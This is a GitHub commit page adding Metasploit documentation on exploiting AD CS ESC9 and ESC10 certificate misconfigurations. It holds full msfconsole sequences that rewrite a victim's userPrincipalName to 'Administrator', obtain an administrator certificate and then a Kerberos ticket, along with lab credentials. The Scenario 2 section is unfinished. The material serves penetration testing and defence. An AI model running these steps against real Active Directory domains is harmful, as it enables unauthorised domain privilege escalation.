Skip to content

Commit 50fe418

Browse files
committed
ESC9 and ESC10 WIP
1 parent b7df521 commit 50fe418

File tree

8 files changed

+565
-59
lines changed

8 files changed

+565
-59
lines changed

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

+182
Original file line numberDiff line numberDiff line change
@@ -921,6 +921,188 @@ msf6 auxiliary(server/relay/esc8) >
921921
[*] Identity: MSFLAB\smcintyre - All targets relayed to
922922
```
923923

924+
# Overview of exploiting ESC9 and ESC10 with Metasploit
925+
926+
ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
927+
user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
928+
`userPrincipalName` or `dNSHostName` attribute of "user2".
929+
930+
If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
931+
server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
932+
based on that value. Therefore if we can update user2's UPN to Administrator and then request a certificate on
933+
behalf of user2 we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
934+
ESC10 minus a number of details we'll get into.
935+
936+
It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
937+
Microsoft attempts to patch CVE-2022–26923 (aka Certifried). During this effort they implemented the new
938+
`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
939+
property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
940+
and certificate template flags.
941+
942+
## StrongCertificateBindingEnforcement
943+
Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
944+
945+
This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
946+
947+
| Setting | Method | Strength assessment |
948+
| ------- | ------------------------------------------------------------------------------------------------ |---------------------|
949+
| 0 | No strong certificate mapping checks are done | weak |
950+
| 1 | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak |
951+
| 2 | No weak mappings allowed | strong |
952+
| | | |
953+
954+
In order to exploit these certificate misconfiguration we will need the value of `StrongCertificateBindingEnforcement` to be either `0` or `1`.
955+
If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
956+
957+
## CertificateMappingMethods
958+
Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
959+
960+
This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
961+
962+
| Bit | Setting | Method | Strength assessment |
963+
| --- | ------- | ------------------------------------- | ------------------- |
964+
| 1 | 0x0001 | Subject/Issuer certificate mapping | weak |
965+
| 2 | 0x0002 | Issuer certificate mapping | weak |
966+
| 3 | 0x0004 | UPN certificate mapping | weak |
967+
| 4 | 0x0008 | S4U2Self certificate mapping | strong |
968+
| 5 | 0x0010 | S4U2Self explicit certificate mapping | strong |
969+
| 1-5 | 0x001F | All of the above values | weak |
970+
971+
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
972+
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
973+
974+
975+
## CT_FLAG_NO_SECURITY_EXTENSION
976+
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
977+
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
978+
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
979+
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
980+
981+
982+
## Changing userPrincipalName vs dNSHostName
983+
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
984+
attribute, only machine accounts do.
985+
986+
# Exploiting ESC9
987+
988+
## ESC9 Scenario 1
989+
Pre-requisites:
990+
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but techincally you're exploiting ESC10 in that case)
991+
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
992+
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
993+
- The same vulnerable template has a client authentication EKU
994+
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
995+
996+
```
997+
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
998+
...
999+
[+] Template: ESC9-Template
1000+
[*] Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
1001+
[*] Manager Approval: Disabled
1002+
[*] Required Signatures: 0
1003+
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
1004+
[*] Notes:
1005+
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
1006+
[*] Certificate Template Write-Enabled SIDs:
1007+
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
1008+
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
1009+
[*] * S-1-5-11 (Authenticated Users)
1010+
[*] Certificate Template Enrollment SIDs:
1011+
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
1012+
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
1013+
[*] * S-1-5-11 (Authenticated Users)
1014+
...
1015+
```
1016+
Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
1017+
our case it is so we can proceed with exploitation.
1018+
1019+
We will set a number of datastore options in order to exploit ESC9
1020+
in this scenario. We will set `RHOSTS` `CERT_TEMPLATE` `CA` as we normally would. `SMBUser`, `SMBPass` and `SMBDomain`
1021+
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. In order to update the UPN of the
1022+
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword` and `LDAPDomain` are
1023+
available however if they are left blank the SMB credentials will be use - note `LDAPRport` must be set in order to
1024+
connect however it defaults to 389.
1025+
1026+
The option `UPDATE_ESC9_ESC10_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be set in order to instruct the module to attempt to exploit ESC9 or ESC10.
1027+
We will set `UPDATE_ESC9_ESC10_OBJECT` to `userPrincipalName` in this case and so we then must set `ALT_UPN` to `[email protected]` and `NEW_VALUE` to `Administrator`.
1028+
1029+
`NEW_VALUE` will be the updated value of either the `userPrincipalName` or `dNSHostName` attribute. It's important when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with other UPNs in the domain, which by default all contain the suffix.
1030+
The UPN processing order will still allow the DC to map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
1031+
1032+
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the `TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
1033+
This is done automatically by the module.
1034+
1035+
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
1036+
1037+
```
1038+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set rhosts 172.16.199.200
1039+
rhosts => 172.16.199.200
1040+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA kerberos-DC2-CA
1041+
CA => kerberos-DC2-CA
1042+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC9-Template
1043+
CERT_TEMPLATE => ESC9-Template
1044+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
1045+
smbuser => user1
1046+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
1047+
smbpass => N0tpassword!
1048+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
1049+
smbdomain => kerberos.issue
1050+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set target_username "user2"
1051+
target_username => user2
1052+
msf6 auxiliary(admin/dcerpc/icpr_cert) >
1053+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set UPDATE_ESC9_ESC10_OBJECT userPrincipalName
1054+
UPDATE_ESC9_ESC10_OBJECT => userPrincipalName
1055+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set new_value Administrator
1056+
new_value => Administrator
1057+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn [email protected]
1058+
1059+
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
1060+
[*] Running module against 172.16.199.200
1061+
[+] 172.16.199.200:445 - ESC9 could be exploitable using Kerberos due to StrongCertificateBindingEnforcement being set to 1
1062+
[+] 172.16.199.200:445 - ESC10 could be exploitable using Schannel due to CertificateMappingMethods allowing UPN certificate mapping
1063+
[*] 172.16.199.200:445 - Registry Values Retrieved for ESC9 & ESC10: {:certificate_mapping_methods=>"4", :strong_certificate_binding_enforcement=>"1"}
1064+
[*] 172.16.199.200:445 - Updating userPrincipalName of user2 to Administrator
1065+
[*] 172.16.199.200:445 - Loading auxiliary/gather/ldap_update_object
1066+
[*] 172.16.199.200:445 - Running auxiliary/gather/ldap_update_object
1067+
[*] Connecting to LDAP on 172.16.199.200:389...
1068+
[*] Searching for DN of target user user2...
1069+
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
1070+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
1071+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
1072+
[+] 172.16.199.200:445 - The requested certificate was issued.
1073+
[*] 172.16.199.200:445 - Certificate Policies:
1074+
[*] 172.16.199.200:445 - Certificate UPN: [email protected]
1075+
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250514124900_default_172.16.199.200_windows.ad.cs_534148.pfx
1076+
[*] 172.16.199.200:445 - Reverting userPrincipalName of user2 back to user2
1077+
[*] 172.16.199.200:445 - Loading auxiliary/gather/ldap_update_object
1078+
[*] 172.16.199.200:445 - Running auxiliary/gather/ldap_update_object
1079+
[*] Connecting to LDAP on 172.16.199.200:389...
1080+
[*] Searching for DN of target user user2...
1081+
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
1082+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
1083+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
1084+
[*] Auxiliary module execution completed
1085+
```
1086+
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
1087+
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
1088+
1089+
1090+
## ESC9 Scenario 2
1091+
Pre-requisites:
1092+
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but techincally you're exploiting ESC10 in that case)
1093+
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
1094+
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Only difference between pre-requisites in scenario 1 and 2)
1095+
- The same vulnerable template has a client authentication EKU
1096+
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
1097+
1098+
The option `UPDATE_ESC9_ESC10_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test1$`
1099+
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account.
1100+
So `NEW_VALUE` as well as `ALT_DNS` will be set to `DC2.kerberos.issue`.
1101+
1102+
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
1103+
1104+
1105+
9241106
# Exploiting ESC13
9251107
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
9261108
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
## Description
2+
3+
The `ldap_update_object` module allows users to update attributes of LDAP objects in an Active Directory environment.
4+
This module is flexible, enabling users to specify the target object and the attribute they wish to modify.
5+
6+
## Verification Steps
7+
8+
1. On the target host determine the current UPN value of the user you wish to update:
9+
```powershell
10+
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
11+
12+
UserPrincipalName
13+
-----------------
14+
user2
15+
```
16+
1. Start `msfconsole`
17+
1. Do: `use auxiliary/gather/ldap_update_object`
18+
1. Do: `set RHOST [IP]`
19+
1. Do: `set LDAPDomain [DOMAIN]`
20+
1. Do: `set LDAPUsername [USERNAME]`
21+
1. Do: `set LDAPPassword [PASSWORD]`
22+
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
23+
1. Do: `set ATTRIBUTE userPrincipalName`
24+
1. Do: `set NEW_VALUE Administrator`
25+
1. Do: `run`
26+
1. Verify the attribute has been updated successfully:
27+
```powershell
28+
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
29+
30+
UserPrincipalName
31+
-----------------
32+
Administrator
33+
```
34+
35+
## Options
36+
37+
### TARGET_USERNAME
38+
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.
39+
40+
### ATTRIBUTE
41+
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.
42+
43+
### NEW_VALUE
44+
The new value to assign to the specified attribute. For example, if updating the `userPrincipalName`, this would be the new UPN value, which might be `Administrator`
45+
46+
## Scenarios
47+
### Update the userPrincipalName of user2 from "user2" to "Administrator" using user1's credentials (who has Write privileges over user2).
48+
49+
```
50+
msf6 auxiliary(gather/ldap_update_object) > set attribute userPrincipalName
51+
attribute => userPrincipalName
52+
msf6 auxiliary(gather/ldap_update_object) > set ldapdomain kerberos.issue
53+
ldapdomain => kerberos.issue
54+
msf6 auxiliary(gather/ldap_update_object) > set ldappassword N0tpassword!
55+
ldappassword => N0tpassword!
56+
msf6 auxiliary(gather/ldap_update_object) > set ldapusername user1
57+
ldapusername => user1
58+
msf6 auxiliary(gather/ldap_update_object) > set new_value Administrator
59+
new_value => Administrator
60+
msf6 auxiliary(gather/ldap_update_object) > set rhosts 172.16.199.200
61+
rhosts => 172.16.199.200
62+
msf6 auxiliary(gather/ldap_update_object) > set target_username user2
63+
target_username => user2
64+
msf6 auxiliary(gather/ldap_update_object) > run
65+
[*] Running module against 172.16.199.200
66+
[*] Connecting to LDAP on 172.16.199.200:389...
67+
[*] Searching for DN of target user user2...
68+
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
69+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
70+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
71+
[*] Auxiliary module execution completed
72+
```
73+
74+
## Notes
75+
76+
- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
77+
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.

lib/msf/base/serializer/readable_text.rb

+1-1
Original file line numberDiff line numberDiff line change
@@ -587,7 +587,7 @@ def self.dump_options(mod, indent = '', missing = false, advanced: false, evasio
587587
next if tbl.rows.empty?
588588

589589
if conditions.any?
590-
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n#{tbl}"
590+
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(conditions)}:\n\n#{tbl}"
591591
else
592592
option_tables << tbl.to_s
593593
end

0 commit comments

Comments
 (0)